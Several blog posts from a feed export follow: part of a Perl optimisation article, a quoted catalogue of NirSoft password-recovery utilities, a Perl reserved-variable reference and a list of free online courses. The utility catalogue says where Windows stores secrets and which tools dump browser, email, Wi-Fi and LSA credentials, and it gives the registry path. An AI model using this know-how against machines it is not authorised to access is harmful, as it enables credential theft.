methods rely on converting your original Perl source into its compiled bytecode form and storing this precompiled version for execution. This is best used through the <code>perlcc</code> command. These two modes follow the same basic model but produce the final result differently. In bytecode mode, the resulting compiled bytecode is written out to another Perl script. The script consists of the ByteLoader preamble, with the compiled code stored as a byte string. To create this bytecode version, use the <code>-B</code> option to the <code>perlcc</code> command. For example:</p> <p> <code>$ perlcc -B script.pl </code> </p> <p>This will create a file, a.out. The output, however, is not very Web friendly. The resulting file can be executed with any Perl executable on any platform (Perl bytecode is platform independent):</p> <p> <code> $ perl a.out </code> </p> <p>What this does is save Perl from having to compile the script from its source code into the bytecode each time. Instead, it just runs the bytecode that was generated. This is similar to the process behind Java compilation and is in fact that same one-step away from being a truly compiled form of the language. On short scripts, especially those that use a number of external modules, you probably won't notice a huge speed increase. On larger scripts that "stand alone" without a lot of external module use, you should see a noticeable improvement.</p> <p>The full compilation mode is almost identical, except that instead of producing a Perl script with the compiled bytecode embedded in it, <code>perlcc</code> produces a version embedded into C source that is then compiled into a full-blown, standalone executable. This is not cross-platform compatible, but it does allow you to distribute an executable version of a Perl script without giving out the source. Note, however, that this doesn't convert the Perl into C, it just embeds Perl bytecode into a C-based application. This is actually the default mode of <code>perlcc</code>, so a simple: <code>$ perlcc script.pl</code> will create, and compile, a standalone application called <code>a.out</code>.</p> <p>One of the lesser-known solutions for both debugging and optimizing your code is to use the Perl compiler with one of the many "back ends."</p> <p>The back ends are actually what drive the <code>perlcc</code> command, and it's possible to use a back-end module directly to create a C source file that you can examine. The Perl compiler works by taking the generated bytecode and then outputting the results in a variety of different ways. Because you're looking at the opcodes generated during the compilation stage, you get to see the code after Perl's own internal optimizations have been applied. Providing you know the Perl opcodes, you can begin to identify where the potential bottlenecks might be. From a debugging perspective, go with back ends such as Terse (which is itself a wrapper on Concise) and Showlex. You can see in Listing 10 what the original Listing 1 looks like through the Terse back end.</p> <br /><a name="N10246"><b>Listing 10. Using Terse to study bytecode</b></a><br /><table border="0" cellpadding="0" cellspacing="0" width="50%"><tbody><tr><td class="code-outline"><pre class="displaycode">LISTOP (0x306230) leave [1]<br /> OP (0x305f60) enter<br /> COP (0x3062d0) nextstate<br /> BINOP (0x306210) sassign<br /> SVOP (0x301ab0) const [7] PV (0x1809f9c) "abcdefghijklmnopqrstuvwxyz"<br /> OP (0x305c30) padsv [1]<br /> COP (0x305c70) nextstate<br /> BINOP (0x305c50) sassign<br /> SVOP (0x306330) const [8] PV (0x180be60) ""<br /> OP (0x306310) padsv [2]<br /> COP (0x305f20) nextstate<br /> BINOP (0x305f00) leaveloop<br /> LOOP (0x305d10) enteriter [3]<br /> OP (0x305cf0) null [3]<br /> UNOP (0x305cd0) null [141]<br /> OP (0x305e80) pushmark<br /> SVOP (0x3065d0) const [9] IV (0x180be30) 1<br /> SVOP (0x3065f0) const [10] IV (0x1801240) 999999<br /> UNOP (0x305ee0) null<br /> LOGOP (0x305ec0) and<br /> OP (0x305d50) iter<br /> LISTOP (0x305e60) lineseq<br /> COP (0x305e10) nextstate<br /> BINOP (0x305df0) concat [6]<br /> OP (0x305d70) padsv [2]<br /> OP (0x305dd0) padsv [1]<br /> OP (0x305ea0) unstack<br />concat1.pl syntax OK</pre></td></tr></tbody></table><br /> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N1024D"><span class="atitle">Other tools</span></a></p> <p>What I've covered here looks entirely at the code that makes up your applications. While that's where most of the problems will be, there are tools and systems you can use that can help identify and locate problems in your code that might ultimately help with performance.</p> <p><a name="N10257"><span class="smalltitle">Warnings/strict execution</span></a></p> <p>It's a common recommendation, but it really can make a difference. Use the <code>warnings</code> and <code>strict</code> pragmas to ensure nothing funny is going on with variable use, typos, and other inconsistencies. Using them in all your scripts will help you eliminate all sorts of problems, many of which can be the source of performance bottlenecks. Common faults picked up by these pragmas are ambiguous references and de-references, use of undefined values, and some help identifying typos for unused or undefined functions.</p> <p>All of this help, though, comes at a slight performance cost. I keep <code>warnings</code> and <code>strict</code> on while programming and debugging, and I switch it off once the script is ready to be used in the real world. It won't save much, but every millisecond counts.</p> <p><a name="N10273"><span class="smalltitle">Profiling</span></a></p> <p>Profiling is a useful tool for optimizing code, but all it does is identify the potential location of the problem; it doesn't actually point out what the potential issue is or how to resolve it. Also, because profiling relies on monitoring the number of executions of different parts of your application it can, on occasion, give misleading advice about where a problem lies and the best approach for resolving it.</p> <p>However, profiling is still a useful, and often vital, part of the optimization process. Just don't rely on it to tell you everything you need to know.</p> <p><a name="N1027F"><span class="smalltitle">Debugging</span></a></p> <p>To me, a badly optimized program means that it has a bug. The reverse is also true: bugs often lead to performance problems. Classic examples are badly de-referenced variables or reading and/or filtering the wrong information. It doesn't matter whether your debugging technique involves using <code>print</code> statements or the full-blown debugger provided by Perl. The sooner you eliminate the bugs, the sooner you will be able to start optimizing your application.</p> <div class="ibm-alternate-rule"><hr /></div><p class="ibm-ind-link ibm-back-to-top"><a href="http://www.ibm.com/developerworks/library/l-optperl.html#ibm-pcon" class="ibm-anchor-up-link">Back to top</a></p><p><a name="N1028C"><span class="atitle">Putting it all together</span></a></p> <p>Now that you know the techniques, here is the way to go about using them together to produce optimized applications. I generally follow this sequence when optimizing: </p><ol><li>Write the program as optimized as possible using the techniques above. Once you start to use them regularly, they become the only way you program.</li><li>Once the program is finished or at least in a releasable state, go through and double check that you are using the most efficient solution <i>by hand</i> by reading the code. You'll be able to spot a number of issues just by re-reading, and you might pick up a few potential bugs, too.</li><li>Debug your program. Bugs can cause performance problems, so you should always eliminate the bugs first before doing a more intense optimization.</li><li>Run the profiler. I always do this once on any serious application, just to see if there's something -- often obvious -- that I might have missed.</li><li>Go back to step 1 and repeat. I've lost track of the number of times I've completely missed a potential optimization the first time around. Either I'll go back and repeat the process two or three times in one session, or I'll leave, do another project, and return a few days, weeks, or months later. Weeks and months after, you'll often have found an alternative way of doing something that saves time.</li></ol> <p>At the end of the day, there is no magic wand that will optimize your software for you. Even with the debugger and profiler, all you get is information about what might be causing a performance problem, not necessarily any helpful advice on what you should do to fix it. Be aware as well that there is a limit to what you can optimize. Some operations will simply take a lot of time to complete. If you have to work through a 10,000-item hash, there's no way of simplifying that process. But as you've seen, there might be ways of reducing the overhead in each case. </p>Unknownnoreply@blogger.com18tag:blogger.com,1999:blog-34767665.post-54874348014666299892009-04-14T22:42:00.001-07:002009-04-14T22:44:14.122-07:00Freeware password recovery tools and lot more freewaresCan find them here: <a href="http://www.nirsoft.net/utils/index.html#password_utils">http://www.nirsoft.net/utils/index.html#password_utils</a><br /><br />Quote:<br /><table class="filestable" border="0" cellpadding="7" cellspacing="7"><tbody><tr class="filesrow"><td><a class="filetitle" href="http://www.nirsoft.net/utils/mspass.html">MessenPass v1.24 - Instant Messenger Password Recovery</a><br />MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications: MSN Messenger, Windows Messenger (In Windows XP), Windows Live Messenger (In Windows XP And Vista), Yahoo Messenger (Version 5.x/6.x), ICQ Lite 4.x/5.x/2003, AOL Instant Messenger, AIM 6.x, AIM Pro, Trillian, Miranda, and GAIM. </td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/astlog.html">Asterisk Logger v1.04</a><br />Automatically reveals the passwords stored behind the asterisks ('***') in standard password text-boxes of Windows. </td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/dialupass.html">Dialupass v3.01 - Dialup Password Recovery</a><br />This utility enumerates all dialup/VPN entries on your computers, and displays their logon details: User Name, Password, and Domain. You can use it to recover a lost password of your Internet connection or VPN.<br />Dialupass also allows you to save the dialup/VPN list into text/html/csv/xml file, or copy it to the clipboard. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/pspv.html">Protected Storage PassView v1.63</a><br />This utility reveals the passwords stored on your computer by Internet Explorer, Outlook Express and POP3 accounts of MS-Outlook. The passwords are revealed by reading the information from the Protected Storage. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/internet_explorer_password.html">IE PassView v1.15</a><img src="http://www.nirsoft.net/update.gif" /><br />IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0/8.0, as well as older versions of Internet explorer, v4.0 - v6.0 <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/passwordfox.html">PasswordFox v1.11</a><img src="http://www.nirsoft.net/update.gif" /><br />PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/chromepass.html">ChromePass v1.05</a><br />ChromePass is a small password recovery tool that allows you to view the user names and passwords stored by Google Chrome Web browser. For each password entry, the following information is displayed: Origin URL, Action URL, User Name Field, Password Field, User Name, Password, and Created Time. You can select one or more items and then save them into text/html/xml file or copy them to the clipboard. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/network_password_recovery.html">Network Password Recovery v1.20</a><br />When you connect to a network share on your LAN or to your .NET Passport/Messenger account, Windows XP/Vista allows you to save your password in order to use it in each time that you connect the remote server. This utility recovers all network passwords stored on your system for the current logged-on user. </td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/asterie.html">AsterWin IE v1.03</a><br />This utility reveals the passwords stored behind the asterisks in the web pages of Internet Explorer 5.0 and above. You can use it for recovering a lost web site password, if it's stored on your computer.<br />It was developed in Visual Basic environment and requires the Visual Basic Runtime library.<br /><span class="special1">Source code is included !</span> <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/mailpv.html">Mail PassView v1.50 - Email Password Recovery</a><img src="http://www.nirsoft.net/update.gif" /><br />Recovers the passwords and other email accounts information of the following email applications: Outlook Express, Microsoft Outlook 2000 (POP3/SMTP Accounts only), Microsoft Outlook 2002/2003/2007, Windows Mail, IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free, and Web-based email accounts. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/pst_password.html">PstPassword v1.12</a><img src="http://www.nirsoft.net/update.gif" /><br />PstPassword is a small utility that recover lost password of Outlook .PST (Personal Folders) file. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/wireless_key.html">WirelessKeyView v1.26</a><img src="http://www.nirsoft.net/update.gif" /><br />WirelessKeyView recovers all wireless network keys (WEP/WPA) stored in your computer by the 'Wireless Zero Configuration' service of Windows XP and by the 'WLAN AutoConfig' service of Windows Vista. It allows you to easily save all keys to text/html/xml file, or copy a single key to the clipboard. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/remote_desktop_password.html">Remote Desktop PassView v1.01</a><br />Remote Desktop PassView is a small utility that reveals the password stored by Microsoft Remote Desktop Connection utility inside .rdp files. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/lsa_secrets_view.html">LSASecretsView v1.20</a><img src="http://www.nirsoft.net/update.gif" /><br />LSASecretsView is a small utility that displays the list of all LSA secrets stored in the Registry on your computer. The LSA secrets key is located under HKEY_LOCAL_MACHINE\Security\Policy\Secrets and may contain your RAS/VPN passwords, Autologon password, and other system passwords/keys. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/lsa_secrets_dump.html">LSASecretsDump v1.20</a><img src="http://www.nirsoft.net/update.gif" /><br />LSASecretsDump is a small console application that extract the LSA secrets from the Registry, decrypt them, and dump them into the console window. The LSA secrets key is located under HKEY_LOCAL_MACHINE\Security\Policy\Secrets and may contain your RAS/VPN passwords, Autologon password, and other system passwords/keys.<br />This utility is the console version of LSASecretsView. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/pcanypass.html">PCAnywhere PassView v1.11</a><br />Reveals the passwords stored in PCAnywhere items. Both login information and the protection passwords are revealed instantly. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/accesspv.html">Access PassView v1.12</a><br />This utility reveals the database password of every password-protected mdb file that created with Microsoft Access 95/97/2000/XP or with Jet Database Engine 3.0/4.0<br />It can be very useful if you forgot your Access Database password and you want to recover it. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/win9xpv.html">Win9x PassView v1.1</a><br />The Win9x PassView utility reveals the passwords stored on your computer by Windows 95/98 operating system. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/conadvpass.html">Content Advisor Password Remover v1.01</a><br />Removes the Content Advisor password in Internet Explorer (versions 4.x and above).<br /><span class="special1">Visual C++ Source code is included.</span> <p> </p><p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/empv.html">Enterprise Manager PassView v1.00</a><br />Reveals the passwords that SQL Server Enterprise Manager stores on your computer. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/asterwin.html">AsterWin v1.20</a><br />This utility reveals the passwords stored behind the asterisks in standard password text-boxes.<br />It supports the following operating systems: Windows 95, Windows 98, Windows ME, Windows NT, Windows 2000 and Windows XP. <p> </p></td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/vnc_password.html">VNCPassView v1.01</a><br />VNCPassView is a small utility that recover the passwords stored by the VNC tool. It can recover 2 of passwords: password stored for the current logged-on user (HKEY_CURRENT_USER in the Registry), and password stored for the all users. </td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/anup.html">AspNetUserPass v1.00</a><br />AspNetUserPass is a very simple console-based utility that displays the password of ASPNet user on your system. </td></tr><tr class="filesrow"><td> <a class="filetitle" href="http://www.nirsoft.net/utils/netscapass.html">Netscapass v2.03</a><br />Reveals the stored mail password (POP3 server password) for Netscape Communicator 4.x, Netscape 6.x and Netscape 7. It can also reveal the stored web-sites passwords in Netscape 6.x/7.x </td></tr></tbody></table>Unknownnoreply@blogger.com19tag:blogger.com,1999:blog-34767665.post-65745913385047119952009-03-30T22:08:00.002-07:002009-03-30T22:19:48.547-07:00Complete perl reserved variable listAmazingly complete perl's reserved variable list!<br /><br />Source: http://www.sarand.com/td/ref_perl_reserve.html<br /><br />Quote:<br /><br />Reserved Literals<br />__END__ indicates the logical end of the script (^D and ^Z are synonyms)<br />__FILE__ current filename<br />__LINE__ current line number<br />Reserved Filehandles<br /><> Null filehanedle - input from either stdin, or files specified on the command line. Psuedonym for internal filehandle <ARGV>.<br />DATA read data only from the main script, but not from any required file or evaluated string.<br />STDERR Output to stderr<br />STDIN Input from stdin<br />STDOUT Output to stdout<br />Reserved Variables<br />$_ The default input and pattern-searching space. The following pairs are equivalent:<br /> while (<>) {...} while ($_ = <>) {...} # only equivalent in while!<br /> /^Subject:/ $_ =~ /^Subject:/<br /> tr/a-z/A-Z/ $_ =~ tr/a-z/A-Z/<br /> chop chop($_)<br />Also: $ARG<br />@_ The parameters passed to a subroutine. The array itself is local to the subroutine, but its values are references to the variables that are passed so updates to the members of the array will update the corresponding parameter value.<br /><digit> Contains the subpattern from the corresponding set of parentheses in the last pattern matched, not counting patterns matched in nested blocks that have been exited already. These variables are all read-only.<br />$& The string matched by the last successful pattern match (not counting any matches hidden within a BLOCK or eval() enclosed by the current BLOCK). This variable is read-only.<br />Also: $MATCH<br />$` The string preceding whatever was matched by the last successful pattern match, not counting any matches hidden within a BLOCK or eval enclosed by the current BLOCK. This variable is read-only.<br />Also: $PREMATCH<br />$' The string following whatever was matched by the last successful pattern match (not counting any matches hidden within a BLOCK or eval() enclosed by the current BLOCK). Example: <br /> $_ = 'abcdefghi';<br /> /def/;<br /> print "$`:$&:$'\n"; # prints abc:def:ghi<br />This variable is read-only.<br />Also: $POSTMATCH<br />$+ The last bracket matched by the last search pattern. This is useful if you don't know which of a set of alternative patterns matched. For example:<br /> /Version: (.*)|Revision: (.*)/ && ($rev = $+);<br />This variable is read-only.<br />Also: $LAST_PAREN_MATCH<br />$* Set to 1 to do multiline matching within a string, 0 to tell Perl that it can assume that strings contain a single line, for the purpose of optimizing pattern matches. Pattern matches on strings containing multiple newlines can produce confusing results when " $* " is 0. Default is 0. Note that this variable only influences the interpretation of " ^ " and " $ ". A literal newline can be searched for even when $* == 0 . The '/m' modifier should be used instead when pattern matching.<br />Also: $MULTILINE_MATCHING<br />$. The current input line number of the last filehandle that was read. This variable should be considered read-only. Remember that only an explicit close on the filehandle resets the line number. Since " <> " never does an explicit close, line numbers increase across ARGV files.<br />Also: $NR, $INPUT_LINE_NUMBER, input_line_number HANDLE EXPR<br />$/ The input record separator, newline by default. Works like awk 's RS variable, including treating blank lines as delimiters if set to the null string. You may set it to a multicharacter string to match a multi-character delimiter. Note that setting it to "\n\n" means something slightly different than setting it to "" , if the file contains consecutive blank lines. Setting it to "" will treat two or more consecutive blank lines as a single blank line. Setting it to "\n\n" will blindly assume that the next input character belongs to the next paragraph, even if it's a newline. <br /> undef $/;<br /> $_ = <FH>; # whole file now here<br /> s/\n[ \t]+/ /g;<br />Also: $RS, $INPUT_RECORD_SEPARATOR, input_record_separator HANDLE EXPR<br />$| If set to nonzero, forces a flush after every write or print on the currently selected output channel. Default is 0. Note that STDOUT will typically be line buffered if output is to the terminal and block buffered otherwise. Setting this variable is useful primarily when you are outputting to a pipe, such as when you are running a Perl script under rsh and want to see the output as it's happening.<br />Also: $OUTPUT_AUTOFLUSH, autoflush HANDLE EXPR<br />$, The output field separator for the print operator. Ordinarily the print operator simply prints out the comma separated fields you specify. In order to get behavior more like awk, set this variable as you would set awk 's OFS variable to specify what is printed between fields.<br />Also: $OFS, $OUTPUT_FIELD_SEPARATOR, output_field_separator HANDLE EXPR<br />$\ The output record separator for the print operator. Ordinarily the print operator simply prints out the comma separated fields you specify, with no trailing newline or record separator assumed.<br />Also: $ORS, $OUTPUT_RECORD_SEPARATOR, output_record_separator HANDLE EXPR<br />$" Delimiter used when interpreting an array as a scalar. This value separates each element of the array in the resulting string - default a space.<br />Also: $LIST_SEPARATOR<br />$; The subscript separator for multi-dimensional array emulation, which can be declared directly in v.5. If you refer to a hash element as <br /> $foo{$a,$b,$c}<br />it really means <br /> $foo{join($;, $a, $b, $c)}<br />But don't put <br /> @foo{$a,$b,$c} # a slice--note the @<br />which means <br /> ($foo{$a},$foo{$b},$foo{$c})<br />Default is "\034", the same as SUBSEP in awk . Note that if your keys contain binary data there might not be any safe value for " $; ".<br />Also: $SUBSEP, $SUBSCRIPT_SEPARATOR<br />$# The output format for printed numbers. The initial value is '%. 20g'. Deprecated in Perl 5.<br />Also: $OFMT<br />$% The current page number of the currently selected output channel.<br />Also: $FORMAT_PAGE_NUMBER, format_page_number HANDLE EXPR<br />$= The current page length (printable lines) of the currently selected output channel. Default is 60.<br />Also: $FORMAT_LINES_PER_PAGE, format_lines_per_page HANDLE EXPR<br />$- The number of lines left on the page of the currently selected output channel.<br />Also: $FORMAT_LINES_LEFT, format_lines_left HANDLE EXPR<br />$~ The name of the current report format for the currently selected output channel. Default is name of the filehandle.<br />Also: $FORMAT_NAME, format_name HANDLE EXPR<br />$^ The name of the current top-of-page format for the currently selected output channel. Default is name of the filehandle with _TOP appended.<br />Also: $FORMAT_TOP_NAME, format_top_name HANDLE EXPR<br />$: The current set of characters after which a string may be broken to fill continuation fields (starting with ^) in a format. Default is S<" \n-">, to break on whitespace or hyphens.<br />Also: $FORMAT_LINE_BREAK_CHARACTERS, format_line_break_characters HANDLE EXPR<br />$^ L What formats output to perform a formfeed. Default is \f.<br />Also: $FORMAT_FORMFEED, format_formfeed HANDLE EXPR<br />$^ A The current value of the write() accumulator for format() lines. A format contains formline() commands that put their result into $^ A . After calling its format, write() prints out the contents of $^ A and empties. So you never actually see the contents of $^ A unless you call formline() yourself and then look at it.<br />Also: $ACCUMULATOR<br />$? The status returned by the last pipe close, backtick ( `` ) command, or system() operator. Note that this is the status word returned by the wait() system call, so the exit value of the subprocess is actually ( $? >> 8 ). Thus on many systems, $? & 255 gives which signal, if any, the process died from, and whether there was a core dump.<br />Also: $CHILD_ERROR<br />$! If used in a numeric context, yields the current value of errno, with all the usual caveats. (This means that you shouldn't depend on the value of " $! " to be anything in particular unless you've gotten a specific error return indicating a system error.) If used in a string context, yields the corresponding system error string. You can assign to " $! " in order to set errno if, for instance, you want " $! " to return the string for error n , or you want to set the exit value for the die() operator.<br />Also: $ERRNO, $OS_ERROR<br />$@ The Perl syntax error message from the last eval() command. If null, the last eval() parsed and executed correctly (although the operations you invoked may have failed in the normal fashion).<br />Also: $EVAL_ERROR<br />$$ The process number of the Perl running this script.<br />Also: $PID, $PROCESS_ID<br />$< The real uid of this process.<br />Also: $UID, $REAL_USER_ID<br />$> The effective uid of this process. Example: <br /> $< = $>; # set real to effective uid<br /> ($<,$>) = ($>,$<); # swap real and effective uid<br />Also: $EUID, $EFFECTIVE_USER_ID<br />$( The real gid of this process. If you are on a machine that supports membership in multiple groups simultaneously, gives a space separated list of groups you are in. The first number is the one returned by getgid() , and the subsequent ones by getgroups() , one of which may be the same as the first number.<br />Also: $GID, $REAL_GROUP_ID<br />$) The effective gid of this process. If you are on a machine that supports membership in multiple groups simultaneously, gives a space separated list of groups you are in. The first number is the one returned by getegid() , and the subsequent ones by getgroups() , one of which may be the same as the first number.<br />Note: " $& lt; ", " $& gt; ", " $( " and " $) " can only be set on machines that support the corresponding set[re][ug] id() routine. " $( " and " $) " can only be swapped on machines supporting setregid() .<br />Also: $EGID, $EFFECTIVE_GROUP_ID<br />$0 Contains the name of the file containing the Perl script being executed. Assigning to " $0 " modifies the argument area that the ps(1) program sees. This is more useful as a way of indicating the current program state than it is for hiding the program you're running.<br />Also: $PROGRAM_NAME<br />$[ The index of the first element in an array, and of the first character in a substring. Default is 0, but you could set it to 1 to make Perl behave more like awk (or Fortran) when subscripting and when evaluating the index() and substr() functions.<br />As of Perl 5, assignment to " $[ " is treated as a compiler directive, and cannot influence the behavior of any other file. Its use is discouraged.<br />$] The string printed out when you say perl -v . It can be used to determine at the beginning of a script whether the perl interpreter executing the script is in the right range of versions. If used in a numeric context, returns the version + patchlevel / 1000. Example: <br /> # see if getc is available<br /> ($version,$patchlevel) =<br /> $] =~ /(\d+\.\d+).*\nPatch level: (\d+)/;<br /> print STDERR "(No filename completion available.)\n"<br /> if $version * 1000 + $patchlevel < 2016;<br />or, used numerically, <br /> warn "No checksumming!\n" if $] < 3.019;<br />Also: $PERL_VERSION<br />$^ D The current value of the debugging flags.<br />Also: $DEBUGGING<br />$^ F The maximum system file descriptor, ordinarily 2. System file descriptors are passed to exec() ed processes, while higher file descriptors are not. Also, during an open() , system file descriptors are preserved even if the open() fails. (Ordinary file descriptors are closed before the open() is attempted.) Note that the close-on-exec status of a file descriptor will be decided according to the value of $^ F at the time of the open, not the time of the exec. <br />Also: $SYSTEM_FD_MAX<br />$^ I The current value of the inplace-edit extension. Use undef to disable inplace editing.<br />Also: $INPLACE_EDIT<br />$^ P The internal flag that the debugger clears so that it doesn't debug itself. You could conceivable disable debugging yourself by clearing it.<br />Also: $PERLDB<br />$^ T The time at which the script began running, in seconds since the epoch (beginning of 1970). The values returned by the -M , -A and -C filetests are based on this value.<br />Also: $BASETIME<br />$^ W The current value of the warning switch, either TRUE or FALSE.<br />Also: $WARNING<br />$^ X The name that the Perl binary itself was executed as, from C's argv[0] .<br />Also: $EXECUTABLE_NAME<br />$ARGV The name of the current file when reading from <>.<br />@ARGV The array @ARGV contains the command line arguments intended for the script. Note that $# ARGV is the generally number of arguments minus one, since $ARGV [0] is the first argument, NOT the command name. See " $0 " for the command name.<br />@INC The array @INC contains the list of places to look for Perl scripts to be evaluated by the do EXPR , require , or use constructs. It initially consists of the arguments to any -I command line switches, followed by the default Perl library, probably "/usr/local/lib/perl", followed by ".", to represent the current directory.<br />%INC The hash %INC contains entries for each filename that has been included via do or require . The key is the filename you specified, and the value is the location of the file actually found. The require command uses this array to determine whether a given file has already been included. <br />$ENV {expr} The hash %ENV contains your current environment. Setting a value in ENV changes the environment for child processes.<br />$SIG {expr} The hash %SIG is used to set signal handlers for various signals.<br />Environment Variables<br />These are available as the '%ENV' hash, and retrieved as follows:<br /> $variable = $ENV{'variable'};<br />The following are commonly used:<br />CONTENT_LENGTH The number of bytes of data passed through standard input via the POST method.<br />DOCUMENT_ROOT Path on the server to the web site (root URL) being accessed.<br />GATEWAY_INTERFACE Protocol used to communicate with the server.<br />HTTP_COOKIE The contents of all cookies that are visible to the script - each cookie delimited by a semicolon (';').<br />HTTP_USER_AGENT The name (eg. 'Mozilla') and version (eg. '4.03') of the browser used to access the server and the type of platform used by the browser (eg. 'Macintosh;I;PPC').<br />HTTP_REFERER The URL of the page that was being viewed when the script was accessed, either via a link or by direct entering o fthe URL. Can be used to check that the user has come from a recognised source, to help with security.<br />QUERY_STRING Holds the data input via the GET method.<br />REQUEST_METHOD Either "POST" or "GET", depending on what is set on the method attributes of the form tag. NB This value will be "POST" if method="POST", even if some data is passed via GET (eg. data appended directly to the action URL).<br />The following will cause both methods to be used, even though $REQUEST_METHOD="POST":<br /> openanglebraket form action="cgi/proc?A=1&B=2" method="post" closeanglebraket<br />SERVER_SOFTWARE Name and version of the web server.Unknownnoreply@blogger.com75tag:blogger.com,1999:blog-34767665.post-27034695970935073362009-03-30T11:21:00.002-07:002009-03-30T11:22:15.663-07:00More free online courses!More of great free online courses by Wendy Boswell from <a href="http://lifehacker.com/software/education/technophilia-get-a-free-college-education-online-201979.php">lifehacker</a>.<br /><br />Quote below:<br /><h4>Free online college courses</h4> <img alt="books.png" src="http://www.lifehacker.com/assets/resources/2006/09/books.png" class="postimg right" width="180" height="176" /> <p>Grab some larnin' from the <a href="http://www.extension.washington.edu/openuw/">University of Washington</a>'s free online courses; Greek mythology, American Revolution, Heroic Fantasy are just some of the offerings. If you get tired of that, you can study <a href="http://ecedweb.unomaha.edu/teachsug.htm">economics</a> at the University of Nebraska.</p> <p>Teach yourself <a href="http://commtechlab.msu.edu/sites/aslweb/">sign language</a> from Michigan State University. Browse through the vast treasures at the <a href="http://memory.loc.gov/ammem/index.html">Library of Congress.</a> View <a href="http://www.learner.org/resources/browse.html">free videos</a> on all sorts of subjects from Annenberg Media, a major supplier to most distance learning universities, or read the <a href="http://www.gpoaccess.gov/coredocs.html">core documents</a> of American democracy.</p> <p>Feel like a little light reading? You can study theology at <a href="http://www.covenantseminary.edu/worldwide/">Covenant Seminary</a>; course offerings are delivered via a combo of free downloadable .pdf files and podcasts, and include subjects ranging from Church History to the Modern Reformation.</p> <p>Learn mathematics with this extensive <a href="http://math.whatcom.ctc.edu/content/Links.phtml?cat=3">list of free online math courses</a> from Whatcom Community College. Visit <a href="http://www.cmu.edu/oli/">Carnegie Mellon University</a> and take Biology, Causal Reasoning, Statistics, and more, all for free.</p> <img alt="college.png" src="http://www.lifehacker.com/assets/resources/2006/09/college.png" class="postimg left" width="180" height="117" /> <p>Penn State University offers a <a href="http://www.personal.psu.edu/adr10/swedish.html">free Swedish language course</a>, in addition to a free <a href="http://www.personal.psu.edu/faculty/a/d/adr10/hungarian.html">Hungarian language course.</a> Or, you can take an Italian language and culture course from <a href="http://academic.brooklyn.cuny.edu/modlang/carasi/site/pageone.html">Brooklyn College</a>. California State also offers a free <a href="http://www.csulb.edu/%7Etxie/ccol/content.htm">Conversational Mandarin Chinese</a> course, and you can learn <a href="http://cali.arizona.edu/maxnet/tur/">Turkish</a> via the University of Arizona.</p> <p>The University of Washington School of Medicine offers <a href="http://depts.washington.edu/learncpr/">free CPR classes</a> online, complete with video and instructional guides. You can also take health courses from the <a href="http://ocw.jhsph.edu/">Johns Hopkins Bloomberg School of Public Health</a>; anything from adolescent health to population science.</p> <p>Prepare for the <a href="http://www.mssu.edu/missouri/citizenship.htm">US citizenship test</a> from the Missouri Southern State University. Learn <a href="http://linear.ups.edu/">linear algebra</a> from the University of Puget Sound. Learn about <a href="http://www2.sph.unc.edu/nccphp/training/">bioterrorism</a> (really) and other hazards from the University of North Carolina.</p> <p>Get free online mathematics textbooks, videos, and lecture notes from <a href="http://homepages.nyu.edu/%7Ejmg336/html/mathematics.html">New York University.</a> Take advantage of <a href="http://ocw.tufts.edu/">Tufts University's</a> open courses on dentistry, medicine, nutrition, and more. Learn about cognitive science from <a href="http://ocw.hampshire.edu/Index/ECIndex_view">Hampshire College.</a></p> <p>Take eight different courses via the <a href="http://sofia.fhda.edu/">Sofia Project</a>, a collaborative effort between select California community colleges. Brigham Young University offers <a href="http://ce.byu.edu/is/site/courses/freecourses.cfm">independent study</a> in subjects such as Family History, Family Life, and Religious Scripture Study. Get access to ten free seminary courses from <a href="http://www.gordonconwell.edu/ockenga/dimensions/">Gordon-Conwell Theological Seminary</a>.</p> <p>Learn about human resources in 52 (!) different free courses from <a href="http://www.eridlc.com/?FuseAction=Main.Home#List">ERI</a>. Browse a huge variety of materials in the University of Michigan's <a href="http://www-personal.umich.edu/%7Ejdlitman/classes/cyber/courses.html">courses and seminars on Internet laws.</a></p> <h4>Ivy League</h4> <p>Take advantage of <a href="http://cslibrary.stanford.edu/">Stanford University's</a> free CS 